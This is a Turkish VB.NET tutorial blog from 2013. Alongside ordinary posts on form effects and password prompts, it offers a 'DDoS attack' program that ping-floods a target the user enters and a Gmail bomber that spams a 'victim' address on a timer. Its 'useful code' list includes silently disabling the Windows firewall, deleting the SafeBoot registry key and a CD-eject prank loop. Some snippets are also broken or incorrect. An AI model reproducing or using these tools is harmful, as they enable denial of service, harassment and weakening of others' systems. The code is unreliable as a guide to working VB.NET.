Visual Basic ile Form Efektleri Yapmak

15 Ağustos 2013 Perşembe

Merhaba;

Bu derste Visual Basic ile form efektleri yapacağız.

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load 
        For Fadein = 0.0 To 1.1 Step 0.1 
            Me.Opacity = Fadein 
            Me.Refresh() 
            Threading.Thread.Sleep(100) 
        Next 
    End Sub  

Bu şekilde form yavaş yavaş açılır. Kolay Gelsin.

Devamını Oku...

Visual Basic Güvenlik Sistemi Yapımı

Bugün size Visual Basic'te InputBox kullanarak güvenlik sistemi yapmayı göstereceğim.

Öncelikle Visual Basic'te bir proje açalım.

Şimdi formun üzerine sağ tıklıyoruz ve View Code diyoruz.

Sonra şu kodları yazıyoruz:

    Sub security(password As String)
        Dim d = InputBox("Parolanızı giriniz", "Güvenlik Sistemi")
        If d <> password Then
            MsgBox("Yanlış parola", MsgBoxStyle.Critical, "Hata")
            security(password)
        ElseIf d = password Then
            MsgBox("Başarıyla giriş yapıldı", MsgBoxStyle.Information, "Başarılı")
            Me.Close()
        End If
    End Sub

En son formun Load koduna şunu yazın ve tamamdır:

security("buraya şifrenizi yazın")

Şimdi çalıştıralım.

Çalıştırdığınızda çalıştığını göreceksiniz.

Bu kadar...

Kaynak dosyayı indirmek için tıklayın

Devamını Oku...

Kililt Ekranı Yapmak

Bu derste size kilit ekranı yapmayı göstereceğim.

Öncelikle forma şunları yapıyoruz:

TopMost=True
WindowState=Maximized
FormBorderStyle=None

Sonra 1 textbox ve 1 button ekliyoruz.

Button'a şu kodları yazıyoruz:

If TextBox1.Text = "buraya şifre yazılacak" Then
    Me.Close()
Else
    MsgBox("Bu parola hatalı.", 16, "Hata")
End If

Şimdi formu çalıştıralım.

Bu kadar...

Devamını Oku...

Vb.net Siteden Veri Çekmek

Bu dersimizde sitelerden veri çekmeyi öğreneceğiz.

Kaynak dosyayı indirmek için tıklayın

Devamını Oku...

VB.NET WebBrowser İşlemleri

Bu derste programınızda WebBrowser üzerinden yapabileceğiniz işlemleri anlatmak istedim.

WebBrowser'in adı "site" olsun

Objectler;

site.GoBack()   'WebBrowserda geriye gitmek için kullanılır
site.GoForward()   'WebBrowserda ileriye gitmek için kullanılır
site.Refresh()   'WebBrowserda sayfayı yenilemek için kullanılır
site.GoHome()   'WebBrowserda anasayfaya gitmek için kullanılır.Anasayfa = WebBrowserin Properties ayarlarındaki URL Bölümündeki adrestir
site.Navigate(TextBox1.Text)  'TextBox'a girilen sitenin WebBrowser'de gösterilmesini Sağlar

Stringler;

site.DocumentTitle 'WebBrowserdan sayfa başlığını çekmeye yarar
site.DocumentType 'WebBrowserdan sayfa tipini çekmeye yarar (HTML, PHP vs.)
site.DocumentText 'WebBrowserdan sayfa kaynağını çekmeye yarar

Stringlerin Kullanımı Hakkında;

Diyelim ki sitenin başlığını çekeceğiz.

- Bir adet Label Ekleyelim
- Bir de Buton ekliyelim
- WebBrowserimizin URL: http://sanalkurs.net olsun.

Buton Kodları;

Label1.Text=WebBrowser1.DocumentTitle

Devamını Oku...

VB NET Programa Tema Ekleme

Bu videomuz sayesinde programlarınıza video eklemeyi öğreneceksiniz.

Kaynak dosyayı indirmek için tıklayın

Devamını Oku...

VB.NET ile Geri Dönüşüm kutusunu Boşaltmak

Public Class Form1
    Private Declare Function SHEmptyRecycleBin Lib "shell32.dll" Alias "SHEmptyRecycleBinA" (ByVal hWnd As Int32, ByVal pszRootPath As String, ByVal dwFlags As Int32) As Int32

    Private Declare Function SHUpdateRecycleBinIcon Lib "shell32.dll" () As Int32

    Private Const SHERB_NOCONFIRMATION = &H1

    Private Const SHERB_NOPROGRESSUI = &H2

    Private Const SHERB_NOSOUND = &H4

    Private Sub EmptyRecycleBin()

        SHEmptyRecycleBin(Me.Handle.ToInt32, vbNullString, SHERB_NOCONFIRMATION)

        SHUpdateRecycleBinIcon()

        'Geri Dönüşüm Kutusunun ne olduğunu açıklıyoruz

    End Sub

    Private Sub StudioButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles bosalt.Click
        EmptyRecycleBin()

        'Empty boşalt demek ve bu şek
ilde geri dönüşüm kutusunu boşaltıyoruz

    End Sub
End Class

Kolay gelsin.

Devamını Oku...

Visual Basic Forma Şifre Koymak Videolu Anlatım

Buyurun Arkadaşlar Forma Şifre Koyma.




Not: Acele Olduğu İçin Hypercamla Çektim Renk Kalitesi Azcık Düşük K.b .

Kodlar :

Kod:

If Textbox1.Text = "ulas52" Then
Form2.Show
Else
MsgBox "Kullanıcı adı Veya Şifre Yanlış"
End If
If Textbox2.Text = "123456" Then
Else
End If

Devamını Oku...

Visual Basic DDos Attak Programı Yapmak

Merhaba
Arkadaşlar Son Zamanlarda Bir Sürü Kişi Visual Basic Hakkında Sorular
Soruyor. Bende Bunları Küçük Eğitim Videoları Haline Getirmek İstedim.


Bugün DDos Attack Programı Yapmayı Videolu Olarak Göstericem.





DDos Attack Programı Kodları İndir [MEDİAFİRE]





DDos Attack Programı Kodları [VirüsTotal]

Kod Rarında Sorun Olduğunu Söylediler Buyurun Buraya Yazağım.

Kod:

/////Ulas52 // DDos Attack Programı Kodları Başlangıc///


Timer ;
Shell ("ping " + (Text1.Text) + "-1" + "65000")

Saldır ;
Timer1.Enabled = True
Label4.text = "Çökertiliyor"
Msgbox ("Saldırı İşlemi Başlatıldı !")

Durdur
Timer1.Enabled = False
Label4.text = "Durduruldu ..!"
Msgbox ("Saldırı Durduruldu")

Çıkış
me.close
Msgbox ("Görüşmek Üzere :) [ulas52]")


Uyarı Kutusuz (Labelli Yapmak İçin KODlar )
Timer ;
Shell ("ping " + (Textbox1.Text) + "-1" + "65000")


Saldır
Timer1.Enabled = True
Label4.text = "Çökertiliyor"

Durdur
Timer1.Enabled = False
Label4.text = "Durduruldu ..!"


Label4.text Yazan Yere Labelinizin No Sunu Yazınz Örnek Labelin Üstüne Tıklayın Sağ Alttaki Listeden NAME yi Bulun Karşısına Yazın.
ÖRN : Label5 İse Label5.text Yazınıız.

----------------------------------------------------------------------------------------------------------

----------------------------------------------------------------------------------------------------------

Videodaki Küçük Bir Sistemdi Asıl Olarak Yaptığım Program Budur.

BKZ : FullMmo DDos Attacker Çıktı !

----------------------------------------------------------------------------------------------------------

----------------------------------------------------------------------------------------------------------

Devamını Oku...

Sınav Hatırlatma Programı [ Source ]

SınavMatik VB.Net  - Sınav Tarihine 1 gün kala sınavı bize Hatırlatan Program..

Download


TIKLA İNDİR (MEDİAFİRE)



Uyumluluk Sürümü : Visual Studio , Vb.net Express -2008 - 2010 - 2012

Devamını Oku...

Sayısal Loto Programı VB.NET

Bu Program Sayesinde Sayısal Loto Tahminlerinizi Yapabilirsiniz.

 Download



TIKLA İNDİR (Mediafire) 



Uyumluluk Sürümü : Visual Studio , Vb.net Express -2008 - 2010 - 2012

Devamını Oku...

Vb.net Yararlı Kodlar

Merhaba ;
Arşivimdeki Yararlı kodları sizle paylaşmak istiyorum kodlar vb.net ile uyumludur.İyi kullanımlar







Hizmetler:
Kod:
System.Diagnostics.Process.Start("services.msc")

Msconfig:
Kod:
System.Diagnostics.Process.Start("msconfig")

Notepad:
Kod:
System.Diagnostics.Process.Start("notepad")

Firefox:
Kod:
 Try
            System.Diagnostics.Process.Start("firefox")
        Finally
        End Try

Kayıt Defteri:
Kod:
System.Diagnostics.Process.Start("regedit")

İnternet Explorer:
Kod:
System.Diagnostics.Process.Start("iexplore")

Paint:
Kod:
System.Diagnostics.Process.Start("mspaint")

Hesap Makinesi:
Kod:
System.Diagnostics.Process.Start("calc")

Görev Yöneticisi:
Kod:
System.Diagnostics.Process.Start("taskmgr")

Sistem Özellikleri:
Kod:
System.Diagnostics.Process.Start("sysdm.cpl")

Program Ekle/kaldır
Kod:
System.Diagnostics.Process.Start("appwiz.cpl")

Bu kodları label lerin click olaylarına veya buton click olaylarına koyup düzgün bi şekilde dizin böylece bu programla bazı dosyaları kolayca başlatabilirsiniz.İçeriğini değiştirerek kendinizede kolaylık sağlıcak uygulamalar üretebilirsiniz.
---------------------------------------------------------------------------------

*** Web sitesi açma ***
Kod:
Process.Start("www.programlamablogu.blogspot.com")
Process.Start("www.programlamablogu.blogspot.com")

*** Birşeyler açma örnek notepad ***
Kod:
Shell("Notepad")
Shell("Calculator")

File dan bir dosya silmek
Kod:
Dim FileToDelete As String
FileToDelete = "C:\File.exe"
If System.IO.File.Exists(FileToDelete) = True Then
System.IO.File.Delete(FileToDelete)

*** Bir dosyayı yeniden adlandırmak ***
Kod:
My.Computer.FileSystem.RenameFile ("C:\Program Files\Mozilla Firefox\firefox.exe", "Anything.exe")

*** Registery anahtarı silmek ***
Kod:
My.Computer.Registry.LocalMachine.DeleteSubKey("HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot")

*** registery Anahtarı yüklemek ***
Kod:
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE", True)
regKey.CreateSubKey("MyApp")
regKey.Close()

*** Metin konuşturmak için ***
Kod:
Dim sapi
sapi = CreateObject("sapi.spvoice")
sapi.Speak(Textbox1.text)

*** Gmail bombalama ***
*** Timer ekle,5 text boxs,1 button ***
textbox1=Gmail Kullanıcı adı örnek mesela (iLLeqaLKinq)
textbox2 = Gmail Şifre örnek meselaa ( onlinehile)
textbox3 = Kurban E-posta Adresi örnek ( asd@hotmail.com)
textbox4 = Konu örnek ( s.a)
textbox5 = Mesaj örnek ( mrb)
button1.text = Sayın iLLeqaLKinq gönderildi !
"Public Class Form1" Top Of ekleyin

*** Button 1 içine yazılcak code ***
Kod:
timer1.start

*** Timer içine yazılcak code ***
Kod:
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress(TextBox1.Text)
MyMailMessage.To.Add(TextBox3.Text)
MyMailMessage.Subject = (TextBox4.Text)
MyMailMessage.Body = TextBox5.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
MsgBox("Email başarı ile gönderilmiştir / iLLeqaLKinq ;)"


*** Müzik ekleme ***
Not : Müzik türü wawe olmalıdır.
*** Button1 eklencekler ***
Kod:
My.Computer.Audio.Play(My.Resources.song namenowav, AudioPlayMode.BackgroundLoop)

*** Button2 eklencekler ***
Kod:
My.Computer.Audio.Stop()

*** Klasor içinde dosyaların sayımı ***
Kod:
Dim NOF As Integer
Dim FilePath As String = TextBox1.Text
NOF = System.IO.Directory.GetFiles(FilePath).Length
TextBox2.Text =NOF.ToString

*** Case örneği ***
Eklencekler :
*** 1 Button ***
*** 1 Textbox ***
Kod:
TextBox1.Text = Int(Rnd() * 4)
Select Case TextBox1.Text
Case 0
TextBox1.Text = "anything"
Case 1
TextBox1.Text = "passgenerator"
Case 2
TextBox1.Text = "CD key"
Case 3
TextBox1.Text = "strings"
End Select

*** Giriş örneği ***
1 button ekle
Kod:
If TextBox1.Text = "iLLeqaLKinq" _
And TextBox2.Text = "iLLeqaLKinq" Then
MsgBox("Welcome to onlinehile.com")
Else
MsgBox("HoSGeLDiNiZ xD ?")
End If

*** Ekran görüntüsü yakalama ***
Büyük bir picturebox ekleyin
button1 = "Shoot"
Button2 = "Save"
bu şekilde olacak
ve Textbox1
Textbox2 ekleyiniz.

*** Button1 içine ***:
Kod:
Dim BumpBox As Rectangle
Dim screenshot As System.Drawing.Bitmap
Dim graph As Graphics
BumpBox = Screen.PrimaryScreen.BumpBox
screenshot = New System.Drawing.Bitmap(BumpBox.Width, BumpBox.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
graph = Graphics.FromImage(screenshot)
graph.CopyFromScreen(BumpBox.X, BumpBox.Y, 0, 0, BumpBox.Size, CopyPixelOperation.SourceCopy)
PictureBox1.Image = screenshot

*** Button2 içine ***:
Kod:
Dim savefile As New System.IO.StreamWriter("C:\Users\" + TextBox1.Text + "\documents\" + TextBox2.Text + ".jpg")
savefile.Write(PictureBox1.Image)
savefile.Close()
MsgBox("Pictue Saved :D", MsgBoxStyle.Exclamation, "Oldu xD")


*** Cd-rom şakası yapımı ***
Kod:
Do
Dim oWMP = CreateObject("WMPlayer.OCX.7")
Dim colCDROMs = oWMP.cdromCollection
If colCDROMs.Count = 1 Then
For i = 0 To colCDROMs.Count - 1
colCDROMs.Item(i).Eject()
Next ' cdrom
End If
Loop

***Firewall Kapama*** :
Kod:
Dim Bumpbox As Process = New Process
Dim top As String = "netsh.exe"
Bumpbox.StartInfo.Arguments = ("firewall set opmode disable")
Bumpbox.StartInfo.FileName = top
Bumpbox.StartInfo.UseShellExecute = False
Bumpbox.StartInfo.RedirectStandardOutput = True
Bumpbox.StartInfo.CreateNoWindow = True
Bumpbox.Start()
Bumpbox.WaitForExit()

***Kapatma müdürü***:
Pc kapama :
Kod:
Shell("Shutdown -s")

Pc resetleme :
Kod:
Shell("Shutdown -r")

Log off :
Kod:
Shell("Shutdown -l")

Devamını Oku...

Programlama Blogumuz Açılmıstır

14 Ağustos 2013 Çarşamba

Merhaba ;

14 Ağustos 2013 tarihi İle Blogumuz Açılmıştır.Birden Çok Programlama Dili Eğitimlerini yayınliyacağız.

Devamını Oku...